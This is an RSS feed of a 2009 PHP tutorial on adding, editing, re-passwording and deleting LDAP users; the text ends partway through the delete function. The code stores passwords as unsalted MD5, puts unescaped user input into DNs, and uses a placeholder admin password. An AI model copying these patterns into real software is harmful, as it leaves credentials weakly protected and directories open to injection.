<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>dijexi.com &#187; php ldap connection</title>
	<atom:link href="http://www.dijexi.com/tag/php-ldap-connection/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.dijexi.com</link>
	<description>free programming tutorial, tips and tricks on php, codeigniter, delphi, dotnet, ajax and more..</description>
	<lastBuildDate>Fri, 13 Jan 2012 23:21:06 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
<atom:link rel="hub" href="http://pubsubhubbub.appspot.com"/><atom:link rel="hub" href="http://superfeedr.com/hubbub"/>		<item>
		<title>PHP Library to Connect to LDAP Server</title>
		<link>http://www.dijexi.com/2009/07/php-library-to-connect-to-ldap-server/</link>
		<comments>http://www.dijexi.com/2009/07/php-library-to-connect-to-ldap-server/#comments</comments>
		<pubDate>Sun, 26 Jul 2009 13:37:00 +0000</pubDate>
		<dc:creator>akhmad daniel sembiring</dc:creator>
				<category><![CDATA[LDAP]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[ldap user manipulation]]></category>
		<category><![CDATA[php ldap connection]]></category>

		<guid isPermaLink="false">http://www.dijexi.com/2009/07/php-library-to-connect-to-ldap-server/</guid>
		<description><![CDATA[This article describes a simple PHP library to connect to an LDAP server to manipulate user data inside. The user manipulation includes adding, updating, changing password, and deleting user account. To use the library, simply include it to a script that do the manipulation. Initialization Here is the initialization section for connecting to an LDAP [...]]]></description>
			<content:encoded><![CDATA[<!--INFOLINKS_ON--><p>This article describes a simple PHP library to connect to an LDAP server to manipulate user data inside. The user manipulation includes adding, updating, changing password, and deleting user account. To use the library, simply include it to a script that do the manipulation.</p>
<p> <span id="more-1031"></span><br />
<h2>Initialization</h2>
<p>Here is the initialization section for connecting to an LDAP server.</p>
<div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:f32c3428-b7e9-4f15-a8ea-c502c7ff2e88:a4cfacdb-845e-4b9f-8922-0922923be2e3" class="wlWriterEditableSmartContent">
<div class="dean_ch" style="white-space: wrap;"><span class="re0">$cfg</span><span class="br0">&#91;</span><span class="st0">&#8216;ldap_host&#8217;</span><span class="br0">&#93;</span>&nbsp; &nbsp;&nbsp; &nbsp; = <span class="st0">&#8217;192.168.1.1&#8242;</span>;<br />
<span class="re0">$cfg</span><span class="br0">&#91;</span><span class="st0">&#8216;ldap_baseDN&#8217;</span><span class="br0">&#93;</span>&nbsp;&nbsp; &nbsp; = <span class="st0">&#8216;cn=people,dc=company,dc=com&#8217;</span>;<br />
<span class="re0">$cfg</span><span class="br0">&#91;</span><span class="st0">&#8216;ldap_manager_user&#8217;</span><span class="br0">&#93;</span>&nbsp; &nbsp;= <span class="st0">&#8216;cn=root,dc=company,dc=com&#8217;</span>;<br />
<span class="re0">$cfg</span><span class="br0">&#91;</span><span class="st0">&#8216;ldap_manager_pwd&#8217;</span><span class="br0">&#93;</span>&nbsp; &nbsp; = <span class="st0">&#8217;12345&#8242;</span>;<br />
&nbsp;</div>
</div>
<p>The ldap_host is the host name or IP address of the LDAP server we wish to connect to. The ldap_baseDN is the base distinguished name where our query to the server is on. The ldap_manager_user and ldap_manager_pwd is the administrative username and password that have access to manipulate other user account. Replace the above parameters to match to your own LDAP server configuration.</p>
<h2>Adding A New User Account</h2>
<p>Here is the function to add a new user account:</p>
<div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:f32c3428-b7e9-4f15-a8ea-c502c7ff2e88:d6b85e44-945a-432a-a83a-2bef2d089369" class="wlWriterEditableSmartContent">
<div class="dean_ch" style="white-space: wrap;"><span class="kw2">function</span> addUser<span class="br0">&#40;</span><span class="re0">$login</span>, <span class="re0">$pass</span>, <span class="re0">$profil</span><span class="br0">&#41;</span><br />
<span class="br0">&#123;</span><br />
&nbsp; &nbsp; <a href="http://www.php.net/global"><span class="kw3">global</span></a> <span class="re0">$cfg</span>;<br />
&nbsp; &nbsp; <span class="re0">$ldapconn</span>=ldap_connect<span class="br0">&#40;</span><span class="re0">$cfg</span><span class="br0">&#91;</span><span class="st0">&#8216;ldap_host&#8217;</span><span class="br0">&#93;</span><span class="br0">&#41;</span> or <a href="http://www.php.net/die"><span class="kw3">die</span></a><span class="br0">&#40;</span><span class="st0">&quot;Could not connect to $ldaphost&quot;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span><span class="re0">$ldapconn</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$username</span> = <span class="re0">$cfg</span><span class="br0">&#91;</span><span class="st0">&#8216;ldap_manager_user&#8217;</span><span class="br0">&#93;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$password</span> = <span class="re0">$cfg</span><span class="br0">&#91;</span><span class="st0">&#8216;ldap_manager_pwd&#8217;</span><span class="br0">&#93;</span>;</p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>@ldap_bind<span class="br0">&#40;</span><span class="re0">$ldapconn</span>, <span class="re0">$username</span>, <span class="re0">$password</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$sr</span>=ldap_search<span class="br0">&#40;</span><span class="re0">$ldapconn</span>, <span class="re0">$cfg</span><span class="br0">&#91;</span><span class="st0">&#8216;ldap_baseDN&#8217;</span><span class="br0">&#93;</span>, <span class="st0">&quot;sn=*&quot;</span><span class="br0">&#41;</span>; &nbsp; &nbsp;&nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$info</span><span class="br0">&#91;</span><span class="st0">&quot;cn&quot;</span><span class="br0">&#93;</span> = <span class="st0">&quot;$login&quot;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$info</span><span class="br0">&#91;</span><span class="st0">&quot;sn&quot;</span><span class="br0">&#93;</span> = <span class="st0">&quot;$login&quot;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$info</span><span class="br0">&#91;</span><span class="st0">&quot;uid&quot;</span><span class="br0">&#93;</span> = <span class="st0">&quot;$login&quot;</span>;</p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$pwd_md5</span>=<a href="http://www.php.net/base64_encode"><span class="kw3">base64_encode</span></a><span class="br0">&#40;</span><a href="http://www.php.net/pack"><span class="kw3">pack</span></a><span class="br0">&#40;</span><span class="st0">&quot;H*&quot;</span>, <a href="http://www.php.net/md5"><span class="kw3">md5</span></a><span class="br0">&#40;</span><span class="re0">$pass</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$info</span><span class="br0">&#91;</span><span class="st0">&quot;userpassword&quot;</span><span class="br0">&#93;</span> = <span class="st0">&quot;{MD5}&quot;</span>.<span class="re0">$pwd_md5</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$info</span><span class="br0">&#91;</span><span class="st0">&quot;objectclass&quot;</span><span class="br0">&#93;</span> = <span class="st0">&quot;inetOrgPerson&quot;</span>;</p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">// add data to directory</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span>@ldap_add<span class="br0">&#40;</span><span class="re0">$ldapconn</span>, <span class="st0">&quot;cn=$login, &quot;</span>. <span class="re0">$cfg</span><span class="br0">&#91;</span><span class="st0">&#8216;ldap_baseDN&#8217;</span><span class="br0">&#93;</span> , <span class="re0">$info</span><span class="br0">&#41;</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$s</span> = <span class="st0">&quot;OK&quot;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">else</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$s</span> = <span class="st0">&quot;Error: &quot;</span> . ldap_error<span class="br0">&#40;</span><span class="re0">$ldapconn</span><span class="br0">&#41;</span>;</p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ldap_close<span class="br0">&#40;</span><span class="re0">$ldapconn</span><span class="br0">&#41;</span>;</p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><span class="co1">//end if ldap_bind</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">else</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$s</span> = <span class="st0">&quot;Error: &quot;</span> . ldap_error<span class="br0">&#40;</span><span class="re0">$ldapconn</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; <span class="br0">&#125;</span><span class="co1">//end if ldapconn</span><br />
&nbsp; &nbsp; <span class="kw1">else</span><br />
&nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$s</span> = <span class="st0">&quot;Error: &quot;</span> . ldap_error<span class="br0">&#40;</span><span class="re0">$ldapconn</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; <span class="br0">&#125;</span></p>
<p>&nbsp; &nbsp; <span class="kw1">return</span> <span class="re0">$s</span>;<br />
<span class="br0">&#125;</span><br />
&nbsp;</div>
</div>
<p>First we do the connection to LDAP server by using ldap_connect() function. Nothing special with this function, it just take one parameter which is the address of the LDAP server to connect to. If the connection was failed simply exit the script.</p>
<p>If it was successful, the do the LDAP binding by calling ldap_bind() function. This function takes three parameters: the connection handle to server previously established, the username and password to do the binding. If it was failed, then return an error message from the server.</p>
<p>If it was successful, first do a search on the base distinguished name, prepare the user account info to be added in $info array variable, prepare the password for the account, then call the ldap_add() function. This function takes three parameter: the connection handle to the server, the user account name to be added&#160; (in the case “cn=$login, “ concatenated with the base DN), and the user account profile $info.</p>
<p>Preparing the password should be done by calling base64_encode(pack(&quot;H*&quot;, md5($pass))); if it is not, for example just using the md5(), then the password will not match.</p>
<p>If the addition was successful, the return “OK”, else return the error message from the server. Then, close the server connection by calling ldap_close() on the connection handle.</p>
<h2>Updating User Account</h2>
<p>Here is the function to update user profile:</p>
<div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:f32c3428-b7e9-4f15-a8ea-c502c7ff2e88:67c0adb6-cc75-4b7f-b4d6-21de22ced9b2" class="wlWriterEditableSmartContent">
<div class="dean_ch" style="white-space: wrap;"><span class="kw2">function</span> editUser<span class="br0">&#40;</span><span class="re0">$login</span>,<span class="re0">$profil</span><span class="br0">&#41;</span><br />
<span class="br0">&#123;</span><br />
&nbsp; &nbsp; <a href="http://www.php.net/global"><span class="kw3">global</span></a> <span class="re0">$cfg</span>;<br />
&nbsp; &nbsp; <span class="re0">$ldapconn</span>=ldap_connect<span class="br0">&#40;</span><span class="re0">$cfg</span><span class="br0">&#91;</span><span class="st0">&#8216;ldap_host&#8217;</span><span class="br0">&#93;</span><span class="br0">&#41;</span> or <a href="http://www.php.net/die"><span class="kw3">die</span></a><span class="br0">&#40;</span><span class="st0">&quot;Could not connect to $ldaphost&quot;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; <br />
&nbsp; &nbsp; <span class="co1">// bila connect</span><br />
&nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span><span class="re0">$ldapconn</span><span class="br0">&#41;</span> <br />
&nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">// bind </span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$username</span> = <span class="re0">$cfg</span><span class="br0">&#91;</span>ldap_manager_user<span class="br0">&#93;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$password</span> = <span class="re0">$cfg</span><span class="br0">&#91;</span>ldap_manager_pwd<span class="br0">&#93;</span>;</p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>@ldap_bind<span class="br0">&#40;</span><span class="re0">$ldapconn</span>, <span class="re0">$username</span>, <span class="re0">$password</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span>&nbsp; &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">// prepare data</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">foreach</span><span class="br0">&#40;</span><span class="re0">$profil</span> <span class="kw1">as</span> <span class="re0">$key</span> =&gt; <span class="re0">$value</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span><span class="re0">$value</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$info</span><span class="br0">&#91;</span><span class="re0">$key</span><span class="br0">&#93;</span> = <span class="re0">$profil</span><span class="br0">&#91;</span><span class="re0">$key</span><span class="br0">&#93;</span>;&nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">else</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$info</span><span class="br0">&#91;</span><span class="re0">$key</span><span class="br0">&#93;</span> = <span class="st0">&quot;n/a&quot;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$info</span><span class="br0">&#91;</span><span class="st0">&quot;sn&quot;</span><span class="br0">&#93;</span> = <span class="st0">&quot;$login&quot;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$info</span><span class="br0">&#91;</span><span class="st0">&quot;uid&quot;</span><span class="br0">&#93;</span> = <span class="st0">&quot;$login&quot;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$info</span><span class="br0">&#91;</span><span class="st0">&quot;objectclass&quot;</span><span class="br0">&#93;</span> = <span class="st0">&quot;inetOrgPerson&quot;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">// add data to directory</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span>@ldap_modify<span class="br0">&#40;</span><span class="re0">$ldapconn</span>, <span class="st0">&quot;cn=$login, &quot;</span>. <span class="re0">$cfg</span><span class="br0">&#91;</span><span class="st0">&#8216;ldap_baseDN&#8217;</span><span class="br0">&#93;</span>, <span class="re0">$info</span><span class="br0">&#41;</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$s</span>=<span class="st0">&quot;OK&quot;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">else</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$s</span> = <span class="st0">&quot;Error: &quot;</span> . ldap_error<span class="br0">&#40;</span><span class="re0">$ldapconn</span><span class="br0">&#41;</span>;</p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ldap_close<span class="br0">&#40;</span><span class="re0">$ldapconn</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; <span class="br0">&#125;</span> <span class="co1">///end if ldapconn&nbsp; &nbsp; </span><br />
&nbsp; &nbsp; <span class="kw1">else</span><br />
&nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$s</span> = <span class="st0">&quot;Error: &quot;</span> . ldap_error<span class="br0">&#40;</span><span class="re0">$ldapconn</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; <span class="br0">&#125;</span></p>
<p>&nbsp; &nbsp; <span class="kw1">return</span> <span class="re0">$s</span>;<br />
<span class="br0">&#125;</span></div>
</div>
<p>First we do the connection to LDAP server by using ldap_connect() function. Nothing special with this function, it just take one parameter which is the address of the LDAP server to connect to. If the connection was failed simply exit the script.</p>
<p>If it was successful, the do the LDAP binding by calling ldap_bind() function. This function takes three parameters: the connection handle to server previously established, the username and password to do the binding. If it was failed, then return an error message from the server.</p>
<p>If the binding was successful, then we iterate for each items in the $profil array, while storing the keys and values of the array into $key and $value variable for each iteration. In the $value is not empty then fill the value of the profil array of this key into $info array variable with the same key. If it was empty the fill the $info on the key with “n/a”.</p>
<p>Next, we fill the $info on the key of “sn” and “uid” with the value of $login, and the key of “objectClass” with “inetOrgPerson”.</p>
<p>Then, we call the ldap_modify() function. This function takes three parameters: the connection handle to the server, the user account name to be modified (in the case “cn=$login, “ concatenated with the base DN), and the user account profile $info.</p>
<p>If the modification was successful, the return “OK”, else return the error message from the server. Then, close the server connection by calling ldap_close() on the connection handle.</p>
<h2>Change User’s Password</h2>
<p>Here is the function to change user’s password:</p>
<div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:f32c3428-b7e9-4f15-a8ea-c502c7ff2e88:4336d9a2-8172-4bcb-9d7a-1a8f5dcb0fbb" class="wlWriterEditableSmartContent">
<div class="dean_ch" style="white-space: wrap;"><span class="kw2">function</span> pwdUser<span class="br0">&#40;</span><span class="re0">$login</span>, <span class="re0">$pass</span><span class="br0">&#41;</span><br />
<span class="br0">&#123;</span><br />
&nbsp; &nbsp; <a href="http://www.php.net/global"><span class="kw3">global</span></a> <span class="re0">$cfg</span>;</p>
<p>&nbsp; &nbsp; <span class="re0">$ldapconn</span>=ldap_connect<span class="br0">&#40;</span><span class="re0">$cfg</span><span class="br0">&#91;</span><span class="st0">&#8216;ldap_host&#8217;</span><span class="br0">&#93;</span><span class="br0">&#41;</span> or <a href="http://www.php.net/die"><span class="kw3">die</span></a><span class="br0">&#40;</span><span class="st0">&quot;Could not connect to $ldaphost&quot;</span><span class="br0">&#41;</span>;</p>
<p>&nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span><span class="re0">$ldapconn</span><span class="br0">&#41;</span> <br />
&nbsp; &nbsp; <span class="br0">&#123;</span>&nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$username</span> = <span class="re0">$cfg</span><span class="br0">&#91;</span>ldap_manager_user<span class="br0">&#93;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$password</span> = <span class="re0">$cfg</span><span class="br0">&#91;</span>ldap_manager_pwd<span class="br0">&#93;</span>;</p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>@ldap_bind<span class="br0">&#40;</span><span class="re0">$ldapconn</span>, <span class="re0">$username</span>, <span class="re0">$password</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$pwd_md5</span>=<a href="http://www.php.net/base64_encode"><span class="kw3">base64_encode</span></a><span class="br0">&#40;</span><a href="http://www.php.net/pack"><span class="kw3">pack</span></a><span class="br0">&#40;</span><span class="st0">&quot;H*&quot;</span>, <a href="http://www.php.net/md5"><span class="kw3">md5</span></a><span class="br0">&#40;</span><span class="re0">$pass</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$info</span><span class="br0">&#91;</span><span class="st0">&quot;userpassword&quot;</span><span class="br0">&#93;</span> = <span class="st0">&quot;{MD5}&quot;</span>.<span class="re0">$pwd_md5</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">// add data to directory</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span>@ldap_modify<span class="br0">&#40;</span><span class="re0">$ldapconn</span>, <span class="st0">&quot;cn=$login, &quot;</span> . <span class="re0">$cfg</span><span class="br0">&#91;</span><span class="st0">&#8216;ldap_baseDN&#8217;</span><span class="br0">&#93;</span>, <span class="re0">$info</span><span class="br0">&#41;</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$s</span>=<span class="st0">&quot;OK&quot;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">else</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$s</span> = <span class="st0">&quot;Error: &quot;</span> . ldap_error<span class="br0">&#40;</span><span class="re0">$ldapconn</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ldap_close<span class="br0">&#40;</span><span class="re0">$ldapconn</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">else</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$s</span> = <span class="st0">&quot;Error: &quot;</span> . ldap_error<span class="br0">&#40;</span><span class="re0">$ldapconn</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; <span class="br0">&#125;</span> <span class="co1">///end if ldapconn</span><br />
&nbsp; &nbsp; <span class="kw1">else</span><br />
&nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$s</span> = <span class="st0">&quot;Error: &quot;</span> . ldap_error<span class="br0">&#40;</span><span class="re0">$ldapconn</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; <span class="kw1">return</span> <span class="re0">$s</span>;<br />
<span class="br0">&#125;</span></div>
</div>
<p>First we do the connection to LDAP server by using ldap_connect() function. Nothing special with this function, it just take one parameter which is the address of the LDAP server to connect to. If the connection was failed simply exit the script.</p>
<p>If it was successful, the do the LDAP binding by calling ldap_bind() function. This function takes three parameters: the connection handle to server previously established, the username and password to do the binding. If it was failed, then return an error message from the server.</p>
<p>If the binding was successful, we prepare the user password which should be done by calling $pwd_md5 = base64_encode(pack(&quot;H*&quot;, md5($pass))); if it is not, for example just using the md5(), then the password will not match. Then we fill the $info array on the key of “userpassword” with the value of &quot;{MD5}&quot;.$pwd_md5.</p>
<p>Then, we call the ldap_modify() function. This function takes three parameters: the connection handle to the server, the user account name to be modified (in the case “cn=$login, “ concatenated with the base DN), and the user account profile $info.</p>
<p>If the modification was successful, the return “OK”, else return the error message from the server. Then, close the server connection by calling ldap_close() on the connection handle.</p>
<h2>Delete A User Account</h2>
<p>Here is the function to delete an account:</p>
<p><div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:f32c3428-b7e9-4f15-a8ea-c502c7ff2e88:f816fb65-d0c5-45f7-a6f9-c84ae7fdf9ad" class="wlWriterEditableSmartContent">
<div class="dean_ch" style="white-space: wrap;"><span class="kw2">function</span> deleteUser<span class="br0">&#40;</span><span class="re0">$login</span><span class="br0">&#41;</span><br />
<span class="br0">&#123;</span><br />
&nbsp; &nbsp; <a href="http://www.php.net/global"><span class="kw3">global</span></a> <span class="re0">$cfg</span>;</p>
<p>&nbsp; &nbsp; <span class="re0">$ldapconn</span>=ldap_connect<span class="br0">&#40;</span><span class="re0">$cfg</span><span class="br0">&#91;</span><span class="st0">&#8216;ldap_host&#8217;</span><span class="br0">&#93;</span><span class="br0">&#41;</span> or <a href="http://www.php.net/die"><span class="kw3">die</span></a><span class="br0">&#40;</span><span class="st0">&quot;Could not connect to $ldaphost&quot;</span><span class="br0">&#41;</span>;</p>
<p>&nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span><span class="re0">$ldapconn</span><span class="br0">&#41;</span> <br />
&nbsp; &nbsp; <span class="br0">&#123;</span>&nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$username</span> = <span class="re0">$cfg</span><span class="br0">&#91;</span>ldap_manager_user<span class="br0">&#93;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$password</span> = <span class="re0">$cfg</span><span class="br0">&#91;</span>ldap_manager_pwd<span class="br0">&#93;</span>;</p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>@ldap_bind<span class="br0">&#40;</span><span class="re0">$ldapconn</span>, <span class="re0">$username</span>, <span class="re0">$password</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span>@ldap_delete<span class="br0">&#40;</span><span class="re0">$ldapconn</span>, <span class="st0">&quot;cn=$login, &quot;</span> . <span class="re0">$cfg</span><span class="br0">&#91;</span><span class="st0">&#8216;ldap_baseDN&#8217;</span><span class="br0">&#93;</span><span class="br0">&#41;</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$s</span>=<span class="st0">&quot;OK&quot;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">else</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$s</span> = <span class="st0">&quot;Error: &quot;</span> . ldap_error<span class="br0">&#40;</span><span class="re0">$ldapconn</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ldap_close<span class="br0">&#40;</span><span class="re0">$ldapconn</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">else</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$s</span> = <span class="st0">&quot;Error: &quot;</span> . ldap_error<span class="br0">&#40;</span><span class="re0">$ldapconn</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; <span class="br0">&#125;</span> <span class="co1">///end if ldapconn</span><br />
&nbsp; &nbsp; <span class="kw1">else</span><br />
